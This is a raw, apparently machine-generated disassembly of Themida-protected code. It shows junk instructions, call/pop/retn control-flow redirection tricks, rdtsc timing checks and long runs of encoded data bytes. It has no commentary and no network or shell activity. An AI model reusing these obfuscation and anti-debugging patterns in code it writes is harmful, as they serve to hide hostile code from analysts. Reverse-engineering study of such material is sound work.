		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5D5B82	endp

; ---------------------------------------------------------------------------
		mov	ds:0F8B9A9AEh, al
		jnz	short near ptr loc_5D5B9F+1
		sub	[ebp+7FA31DDh],	ecx


loc_5D5B9F:				; CODE XREF: Themida_:005D5B97j
		xor	[ebp+7FA1711h],	edi
		cmp	dword ptr [ebp+7FA2221h], 2
		jz	loc_5D5C15
		push	0
		push	esi
		call	sub_5D5BBD
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D5BBD	proc near		; CODE XREF: Themida_:005D5BB5p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5D5BBD	endp

; ---------------------------------------------------------------------------
		db 0ACh, 47h, 35h
		dd 0B7E2E1E3h, 8BDF8B3Ah, 0FA161585h, 0BE807h, 82260000h
		dd 0D008E3E6h, 954A396Ah, 0F381668Dh, 0C65BC1C8h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 461CB9C3h
		db 0EBh
; ---------------------------------------------------------------------------


loc_5D5C15:				; CODE XREF: Themida_:005D5BACj
		mov	dword ptr [ebp+7FA16DDh], 0
		add	di, 358Bh
		jmp	near ptr dword_5D4EF0+41h
; ---------------------------------------------------------------------------
		jmp	loc_5D5C38
; ---------------------------------------------------------------------------
		dw 0EF24h
		dd 0C92E63DAh, 2374422Dh
; ---------------------------------------------------------------------------


loc_5D5C38:				; CODE XREF: Themida_:005D5C29j
		mov	eax, ecx
		mov	bx, ax
		add	bx, 0F802h
		lea	eax, [ebp+7FA0199h]
		jle	$+6
		push	eax
		push	eax
		push	edx
		mov	bx, 0FC58h
		rdtsc
		pusha
		mov	esi, 5A998768h
		popa
		pop	edx
		pop	eax
		mov	[esp], eax
		push	0
		push	esi
		call	sub_5D5C6E
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D5C6E	proc near		; CODE XREF: Themida_:005D5C66p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5D5C6E	endp

; ---------------------------------------------------------------------------
		dw 0D35Fh
; ---------------------------------------------------------------------------
		enter	0FFFFD0EAh, 1Ch
		xor	[ebp+7FA0205h],	ebx
		push	0
		mov	bh, 39h
		mov	[ebp+7FA1C79h],	ebx
		push	0
		push	0
		push	eax
		call	sub_5D5CA1
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D5CA1	proc near		; CODE XREF: Themida_:005D5C99p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5D5CA1	endp

; ---------------------------------------------------------------------------
		jle	short near ptr loc_5D5CC5+3
		enter	188Ch, 0B9h
		mov	ecx, 6623CCE8h
		mov	edi, 0BD8BAD67h
		jns	short loc_5D5CE9
		cli
		pop	es


loc_5D5CC5:				; CODE XREF: Themida_:005D5CB1j
		lea	eax, [ebp+7FF2A3Bh]
		push	0
		push	esi
		call	sub_5D5CD6
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D5CD6	proc near		; CODE XREF: Themida_:005D5CCEp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_5D5CD6	endp

; ---------------------------------------------------------------------------
		dw 384h
		db 0BDh
; ---------------------------------------------------------------------------


loc_5D5CE9:				; CODE XREF: Themida_:005D5CC1j
		inc	ebp
		sub	dl, bh
		pop	es
		add	eax, 5
		push	0
		push	edx
		call	sub_5D5CFB
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D5CFB	proc near		; CODE XREF: Themida_:005D5CF3p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5D5CFB	endp

; ---------------------------------------------------------------------------
		db 2
		db 0CCh
		db 7Dh,	6, 83h
; ---------------------------------------------------------------------------
		xchg	ch, bh
		sub	al, 3Ah
		jmp	loc_5D5D21
; ---------------------------------------------------------------------------
		db 1Dh,	0DEh, 67h
		dd 0B03ABC98h
		db 0B0h
; ---------------------------------------------------------------------------


loc_5D5D21:				; CODE XREF: Themida_:005D5D14j
		nop
		push	eax
		mov	bh, dl
		nop
		call	sub_5D5D3D
		or	[eax], edi
		cwde
		xchg	esi, [esi]
		ficom	dword ptr ds:30C8C9E3h[ebx*8]
		in	al, dx
		mov	edi, 25398A4h

; =============== S U B	R O U T	I N E =======================================



sub_5D5D3D	proc near		; CODE XREF: Themida_:005D5D26p
		mov	edi, 5D4BB632h
		pop	edi
		pusha
		js	loc_5D5D4F
		xor	si, 3D18h


loc_5D5D4F:				; CODE XREF: sub_5D5D3D+7j
		jle	loc_5D5D57
		push	edi
		pop	eax


loc_5D5D57:				; CODE XREF: sub_5D5D3D:loc_5D5D4Fj
		popa
		push	0
		push	0
		push	ecx
		call	sub_5D5D65
		and	[ecx-3Dh], bl
sub_5D5D3D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D5D65	proc near		; CODE XREF: sub_5D5D3D+20p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5D5D65	endp

; ---------------------------------------------------------------------------
		db 82h,	8, 0F9h
		dd 6A4AE2h, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 1Bh,	97C35141h, 9874E1FDh, 8A761843h, 0E995FFDEh, 8907FA2Bh
		dd 0FA248995h, 118D8D07h, 6A07FDD7h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0A911C353h
		dd 4687E86Ah, 2BDDBD89h, 0D1FF07FAh, 18E0Fh, 83F80000h
		dd 0FA33EDBDh, 850F0107h, 8Ch, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 5CC35747h, 373EDF12h, 9C7E7AEDh
		dd 11E96Ch, 9EBC0000h, 0C6B7EA59h, 92B15B3h, 34F7B93Eh
		dd 6AC8A42Fh, 505F5102h, 0D93191BBh, 2404895Ch,	82D9D8Bh
		dd 95FF07FAh, 7FA1C95h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 0FEC35040h, 0ABBCB760h, 0B5094BC4h, 7FA01EDh
		dd 0BE9h, 1E73E800h, 134C6230h,	0A8871A79h, 0CF3E9h, 0E800h
		dd 815D0000h, 0FF2A45EDh, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 1909CC8Eh
		dd 6A3E5Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 9D8B1BC3h, 7FA276Dh, 0E1C860BFh, 858DF850h
		dd 7FDB959h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	1DC35242h, 0DE91846Ah, 5A46ADB3h, 0D6BB5055h, 893C6C9Ch
		dd 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 0CA6649C3h, 0C2BBF0DAh, 8D89B550h, 7FA276Dh
		dd 35FF64h, 0E9000000h,	5, 0A63B0350h, 258964E3h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5D5F57
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D5F57	proc near		; CODE XREF: Themida_:005D5F4Fp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5D5F57	endp

; ---------------------------------------------------------------------------
		xor	esi, ebx
		leave
		cmp	al, bl
		lahf
		pop	dword ptr [edx+4985FFF5h]
		adc	dl, bh
		pop	es
		push	0
		push	edi
		call	sub_5D5F81
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D5F81	proc near		; CODE XREF: Themida_:005D5F79p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5D5F81	endp

; ---------------------------------------------------------------------------
		db 55h,	0FCh, 28h
		dd 0DA03216Fh, 0E9E7919Fh, 0Ch,	5AC8A335h, 2600347h, 0FA95C02h
		dd 6AFF6Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 9D8BACC3h, 7FA27DDh, 243DB5FFh, 0BF6607FAh
		dd 8166CD07h, 0FFC25FE3h, 0FA287595h, 101E907h,	870F0000h
		dd 4, 6A0CBF66h, 1B700B0h, 0BD8970E6h, 7FA2025h, 0F187BB66h
		dd 0BD8B71E4h, 7FA338Dh, 830F613Ch, 0D7h, 13E78166h, 2DB589E5h
		dd 0F07FA2Fh, 0BF0FC8B6h, 68D0FDEh, 9000000h, 0FA17818Dh
		dd 6BA07h, 8D0F0000h, 13h, 7E8h, 307C1600h, 0AE0522D0h
		dd 68D9D8Bh, 665B07FAh,	134DCB81h, 0D781C18Bh, 4BDDEFC9h
		dd 0FC04E8C1h, 8BE2F766h, 0FA14A1BDh, 8BC82B07h, 0FA24259Dh
		dd 9D18B07h, 0FA2C9D9Dh, 6DE907h, 0BF660000h, 858B1747h
		dd 47554C50h, 2870Fh, 7B30000h,	0FC07C083h, 8000C083h
		dd 0D03BC6DBh, 0D830Fh,	81660000h, 0E9AFA6EBh, 3Fh, 8BDBBF0Fh
		dd 0FFFFFF8Dh, 359D29FFh, 8307FA0Eh, 840F01E1h,	27h, 83DBBF0Fh
		dd 0FFFFFFA5h, 0C381FEFFh, 0B556C0Ch, 4C509589h, 890F4755h
		dd 6, 26DD9D8Bh, 0E907FAh, 8D000000h, 0FEA3AFB5h, 998D2907h
		dd 6A07FA20h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 0AD9D893Bh, 8907FA1Dh, 0FA353DB5h
		dd 1995FF07h, 8B07FA10h, 0FA0EA99Dh, 1024B907h,	6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0DF29AFC3h, 5E9C28Fh, 1B000000h, 9DB97450h, 0FFCE183h
		dd 0E9FCF8B7h, 0Ch, 0DFAE80D3h,	2878487Ah, 2E11D6DBh, 0B8h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 199D3345h, 2B07FA11h, 53006AD2h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 4B50F8EEh
		dd 0FC6C7037h, 0D7E38166h, 0C233AD96h, 0D003E8D1h, 7504E983h
		dd 0B58960F4h, 7FA2E19h, 0D0BF6650h, 8B615E26h,	880DFBh
		dd 0BD8B0000h, 7FA1065h, 1CD9958Bh, 0DBBF07FAh,	8B51E5F7h
		dd 0FA31AD8Dh, 8DB58907h, 8B07FA18h, 0FA0FE59Dh, 0C28B5007h
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 0E958188Bh, 12h
		dd 898CE7ABh, 77C18D2Bh, 0F8AA31FFh, 0D19653CCh, 6A1FA1h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0C0353C3h, 6DC96EBBh, 29BD83DBh, 7FA2Ah, 58840Fh, 0BD8B0000h
		dd 7FA0EC9h, 0B8h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 22C8FB6Fh, 0EA2E528Dh
		dd 0DBBF0F46h, 4F668D8Dh, 6A07FAh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 0E1FFD0C3h, 0BD8343B7h
		dd 7FA2BD9h, 6840F00h, 6A000004h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 853CC357h
		dd 5880F09h, 66000000h,	3068DF81h, 2BD9BD83h, 0F0107FAh
		dd 3EB84h, 219D2900h, 8307FA20h, 0FA2BD9BDh, 860F0307h
		dd 3A2h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 18h,	0A9C35343h, 0CB986CEDh,	67BB6660h, 0D98C6681h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0B0C35747h
		dd 0FDBD0195h, 8007FA24h, 6A04E1h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 6937DAC3h, 0DE9EFh, 86860000h
		dd 9B54FFB4h, 6621085Ah, 803B7952h, 0C90A4EC7h,	162840Fh
		dd 85010000h, 7FA0F8Dh,	14E8h, 49695900h, 0C9493535h, 1AC8E326h
		dd 31C79AA0h, 4B8C6902h, 0D950993h, 5B07FA31h, 0FE9858Bh
		dd 0F5107FAh, 335FF8B7h, 0FA15E185h, 50006A07h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 51B589E9h
		dd 0E807FA05h, 8, 0CFF3992Eh, 8C3492Fh,	11E8h, 0BDA8700h
		dd 0D709D2C8h, 686A2910h, 5777A9B4h, 5F56D7B0h,	9D8B5B5Bh
		dd 7FA2E6Dh, 24048950h,	6E8h, 0FA6AD300h, 89CD4CE4h, 0FA01199Dh
		dd 6A5F07h, 0E855006Ah,	3, 5DC35D20h, 4246C89h,	4244481h
		dd 17h,	0C7C35545h, 680F141Ch, 422D3F6Dh, 11E9h, 9ED71700h
		dd 0ADC9AE82h, 0C29B5CB4h, 47D48170h, 348172ADh, 323C9224h
		dd 14E96042h, 6C000000h, 0B63D1752h, 0AA8B9DC7h, 252CD0DAh
		dd 0CAF06344h, 89898A24h, 0FA0D2185h, 95FF6107h, 7FA1CE9h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 13C35646h
		dd 4A33DB73h, 66535BD7h, 5F4DABBBh, 894DDB80h, 0FDEB9685h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 2A04CF22h, 167E90Eh, 0BD890000h,	7FA0CA5h
		dd 0EB8E858Bh, 8E907FDh, 0A2000000h, 7C883645h,	0C7523922h
		dd 1800h, 0B58BF800h, 7FDEB92h,	1C11BD8Bh, 0B58907FAh
		dd 7FA2571h, 0D51858Bh,	858907FAh, 7FA1C0Dh, 0BD890689h
		dd 7FA2909h, 8BD88B66h,	0FA0FE985h, 359D8B07h, 8907FA2Fh
		dd 50F50446h, 867BFBBh,	2434896Ch, 142D9D8Bh, 0B5FF07FAh
		dd 7FDEB8Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	3FC35242h, 705A73E4h, 195DC509h, 0BE9h,	0C0A1B800h
		dd 0C03D11D7h, 0EA6E8A53h, 207DBD8Bh, 416807FAh, 0E95C5717h
		dd 9, 0ECBD939Ah, 0CB15D35Ah, 2434818Bh, 5C4814BEh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0B5C35646h, 5231F78Ch
		dd 490872EAh, 6890Fh, 85010000h, 7FA0D2Dh, 18898D31h, 858D07FAh
		dd 7FDEB96h, 18BF6650h,	8A905B66h, 666050FCh, 8B51CF8Bh
		dd 906158F8h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 15h,	49C35242h, 0DEBF0F75h, 1CE995FFh, 6A07FAh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 96802BC3h, 0F1D0F570h, 0F52706Fh, 383h, 0F9B70F00h
		dd 6A615Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 98D404C3h, 0E695FDA3h, 0F78166BCh, 85C71C30h
		dd 7FA2BD9h, 3,	2F399531h, 0BD8307FAh, 7FDEB96h, 0F840F00h
		dd 0F9000000h, 24E9h, 65CF8000h, 1851BD8Bh, 305007FAh
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 0F9BD89C0h, 6A07FA16h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0CBA3C353h,	788FF5E9h
		dd 7BD78189h, 834D462Fh, 0FA2BD9BDh, 850F0307h,	421h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 12C35343h, 547B110Dh
		dd 0BD8378B7h, 7FDEB96h, 0F2840F00h, 6A000003h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0E394C357h, 0FF931DB6h, 0FDEB96B5h
		dd 6E907h, 0CF4F0000h, 63EC144Bh, 28F0F60h, 60000000h
		dd 0EDC88061h, 4595FF61h, 6A07FA27h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 6633C357h
		dd 8E79E781h, 8BFBBF0Fh, 0FDEB8AB5h, 50006A07h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 3326198Dh
		dd 11E9FFA7h, 0BC000000h, 141E2FCEh, 5EE902B1h,	1555FA45h
		dd 93B167FDh, 18D0Fh, 0C7F90000h, 1000106h, 11E900h, 0E04F0000h
		dd 0D9E698A1h, 9067661Ch, 0D6D68688h, 5096FFE6h, 6E85250h
		dd 58000000h, 737E5B7Fh, 0F525054h, 5F585A31h, 79B3310Fh
		dd 3489585Ah, 21BD8B24h, 0FF07FA01h, 0FDEB96B5h, 0A3BB6607h
		dd 0E195FF5Bh, 8B07FA18h, 0FDEB8AB5h, 50006A07h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
		dd 44947905h, 0E31FB370h, 8E0F0613h, 6,	74D8D89h, 858B07FAh
		dd 7FA1C7Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	0D8C35242h, 2FCEBCACh, 0B58B601Eh, 7FA0D35h, 16559D8Bh
		dd 896107FAh, 0C486h, 0F3816600h, 958BA887h, 7FA1CD9h
		dd 12E9h, 2CE3EA00h, 460BE84Eh,	9FAB5598h, 739390B8h, 8362425Bh
		dd 0BF0F04C2h, 205089FBh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 0CDC35040h, 0FC24894h, 0FF21935Eh, 10E8BBh
		dd 32DC0000h, 0B3D0C713h, 0DB1E4C7Fh, 9582EFBCh, 8D894E95h
		dd 7FA1851h, 0F7858D5Bh, 3107FDFEh, 0FA1145BDh,	0B8868907h
		dd 23000000h, 0FA28F1BDh, 66006A07h, 0B589D98Bh, 7FA2EC5h
		dd 0EB96B5FFh, 14E907FDh, 87000000h, 59330057h,	0E1B1C535h
		dd 530B03E0h, 0C7652E27h, 0FFC29642h, 0FA1C9595h, 8D8B6007h
		dd 7FA10D9h, 1499531h, 966107FAh, 10E9h, 0C154BD00h, 383B2DF8h
		dd 58922E4Ah, 0D6C919E6h, 52505027h, 0AE9h, 1620A800h
		dd 1177682h, 0FF2F2E7h,	0FE831h, 0B09D0000h, 0D2DECE9Dh
		dd 87CD064Fh, 19471055h, 5FFE8A78h, 8996585Ah, 0FA345D95h
		dd 96B5FF07h, 0E907FDEBh, 10h, 0F8E15977h, 0F324B9CDh
		dd 2BDAA768h, 0B82A8604h, 1D9595FFh, 0BD8307FAh, 7FA0131h
		dd 2C840F00h, 0E9000000h, 0Dh, 0A0C0F4h, 5D818BE2h, 2367FFFDh
		dd 0E1BB968Ch, 506127A1h, 68A0Fh, 60600000h, 61F18B61h
		dd 0F0E78196h, 0FF765A99h, 0FDEB96B5h, 55006A07h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
		dd 1B19787Fh, 0FB8B6656h, 0FFF88B5Fh, 0FA1CB595h, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0DB8A0E97h, 8BCCF348h, 0FA11499Dh, 14E907h, 0B1430000h
		dd 96F2A397h, 59DFA3B2h, 91E91F39h, 0A38A6689h,	0B5FF2177h
		dd 7FDEB96h, 0B360D88Ah, 698D8944h, 6107FA27h, 21AD95FFh
		dd 6A07FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 3C1DE9C3h, 1324D99Eh, 13E971h, 0B0CF0000h
		dd 189AA37Fh, 0D540D147h, 9CAE3FF4h, 1259767Ch,	21BD833Ah
		dd 207FA22h, 3F840Fh, 858B0000h, 7FA1615h, 2D51BD8Bh, 0C607FAh
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0EE9D306h, 0B3000000h, 0CF52D4F6h, 2B9936B4h
		dd 0B626E23Dh, 0DD85C77Ah, 7FA16h, 0B7000000h, 0F446E954h
		dd 0B589FFFFh, 7FA31DDh, 9D8BC18Bh, 7FA21CDh, 199858Dh
		dd 0B58907FAh, 7FA1469h, 88F0F90h, 50000000h, 0FFA8A52h
		dd 50585A31h, 0F605250h, 85h, 310F6100h, 5AD98B66h, 6A9058h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 5CC9EFC3h, 94A8F99Eh, 0E898FC25h, 9,	0E14682C6h, 1C0E51EFh
		dd 0DEC781ADh, 5F15DB2Dh, 3225BD89h, 0FA8B07FAh, 6A006Ah
		dd 68C0Fh, 8D290000h, 7FA2625h,	38CB858Dh, 0E78007FFh
		dd 5C083DBh, 9289CF81h,	60900668h, 61FB8B66h, 90FA8B50h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 44C35747h
		dd 0D8BDA7D1h, 1D9D8B2Ah, 6A07FA2Ah, 56006A00h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 502827FDh
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 2B62C9C3h, 0BA6660ACh, 816675F3h,	61CE5BDBh
		dd 2BE995FFh, 0BF6607FAh, 8D8D50E2h, 7FDD711h, 0FFFA8B66h
		dd 0E78166D1h, 0BD83BEEDh, 7FA33EDh, 61850F01h,	6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 0B5A3C355h, 65958919h, 6A07FA1Ch,	0EF816602h
		dd 5090F531h, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 905406F4h, 0F8F1437Fh, 2D85897Dh
		dd 0FF07FA2Dh, 0FA1C9595h, 0F9B70F07h, 0DEDE9h,	0E800h
		dd 815D0000h, 0FF38D5EDh, 0BD23F907h, 7FA1021h,	0B959858Dh
		dd 0F38107FDh, 3E831195h, 0B819589h, 509007FAh,	0C0CCD0BBh
		dd 50505F3Fh, 1F35BF52h, 310F76F2h, 2830Fh, 0F88B0000h
		dd 6A90585Ah, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 0FB3CC357h, 391C5A47h,	95BD8B84h
		dd 8107FA01h, 39FB81CFh, 35FF645Eh, 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5D6D93
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6D93	proc near		; CODE XREF: Themida_:005D6D8Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5D6D93	endp

; ---------------------------------------------------------------------------
		db 2Eh
		dd 0F37BBA3h, 48Ch, 8ABF6600h, 258964C2h, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5D6DC3
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6DC3	proc near		; CODE XREF: Themida_:005D6DBBp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5D6DC3	endp

; ---------------------------------------------------------------------------
		db 0E8h
		dd 606D8E72h, 5E8h, 4AD57600h, 816628D9h, 599A76EEh, 14BD9D89h
		dd 0F86107FAh, 104985FFh, 6A07FAh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 7E8E85C3h, 0C1B53148h
		dd 6A07FA2Dh, 51006AFFh, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 0D96AF0C3h, 791F8988h, 895282CEh
		dd 0FA0BC9B5h, 8B0F5F07h, 2, 0B5FFD88Ah, 7FA1E99h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0DCC35040h, 0E96EE9F2h
		dd 7, 0A28AAFA3h, 0FF826296h, 0FA287595h, 125E907h, 85890000h
		dd 7FA0B0Dh, 0BD8B00B0h, 7FA2C59h, 8B6070E6h, 2820FD7h
		dd 0B6000000h, 71E4618Ch, 2239BD23h, 613C07FAh,	0F9830Fh
		dd 85310000h, 7FA2929h,	89C8B60Fh, 0FA2EFD9Dh, 8D895107h
		dd 7FA20C5h, 6BA5Fh, 85890000h,	7FA2999h, 9D8BC18Bh, 7FA1451h
		dd 8104E8C1h, 0FC6AC3CBh, 0E2F7667Dh, 0D03ABF57h, 2B5B07F4h
		dd 0A59D8BC8h, 8B07FA0Eh, 4D9589D1h, 0B707FA14h, 0A5E9E0h
		dd 10E90000h, 0B6000000h, 16A50C35h, 65967F3Dh,	0A6F1E93Fh
		dd 8B41C449h, 4E4985h, 0E9D98A44h, 9, 0DF4618F3h, 0CA480CC2h
		dd 7C083ECh, 2A7D9D8Bh,	0C08307FAh, 0CD9D8B00h,	3B07FA21h
		dd 1B830FD0h, 0E9000000h, 0Bh, 350BCDC2h, 3AB4234Fh, 0E97DFCF8h
		dd 4Bh,	2D31BD89h, 8D8B07FAh, 0FFFFFFFFh, 0DE9h, 4CE83900h
		dd 0A1F4411h, 83ADDE63h, 0E183E9B7h, 24840F01h,	0F000000h
		dd 381h, 0FEBF0F00h, 0FFFFA583h, 89FEFFFFh, 0FA0F518Dh
		dd 49958907h, 6644004Eh, 0E9DE8Bh, 8D000000h, 0FEB3D3B5h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 0F93DC087h, 60EDB0CDh, 26619D8Bh, 61F807FAh
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 0FFC66CC3h, 0FA101995h, 52006A07h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
		dd 17EFF72Ah, 0A48B17B0h, 7FB99464h, 8B000010h,	0FA2C2DBDh
		dd 0FCE18307h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	37C35545h, 0AB63ED96h, 0FC17623Dh, 1F759D8Bh, 0C02B07FAh
		dd 10E8h, 0EDA56D00h, 0B6504DB0h, 0FDF483FCh, 0AD4C44F0h
		dd 0BE999h, 0B5370000h,	70EC3325h, 2FF0AE0Bh, 0D22B5B20h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 27C35040h
		dd 0D4DFC88Eh, 48B78CF5h, 6850F8Fh, 60000000h, 9FB2F38Bh
		dd 0C233AD61h, 0D003E8D1h, 7504E983h, 57006AF4h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
		dd 4BA031D5h, 8589ECE7h, 7FA1F69h, 0E0DBD8Bh, 0BF0F07FAh
		dd 880DF9h, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 160424h, 55450000h, 0BC2AA2C3h, 209D9D8Bh, 958B07FAh
		dd 7FA1CD9h, 6860Fh, 0B5890000h, 7FA183Dh, 860Fh, 8D8B0000h
		dd 7FA31ADh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	0B4C35545h, 0B362C19Eh,	3648C8F1h, 50DA8AD5h, 188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 51006A58h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 9D4C14EBh
		dd 0B58938B2h, 7FA1F01h, 240DBD8Bh, 0BD8307FAh,	7FA2A29h
		dd 7A840F00h, 8B000000h, 0B8D8h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 5B9B83C3h
		dd 685F8AAAh, 8B8B9253h, 668D8DFEh, 6A07FA4Fh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 55B1C353h, 87715A9Ah, 0C6404C89h, 0EE8h, 8DD96900h
		dd 0FE765B77h, 0FE2C7336h, 66155B2Ch, 8248CF81h, 89E1FF5Fh
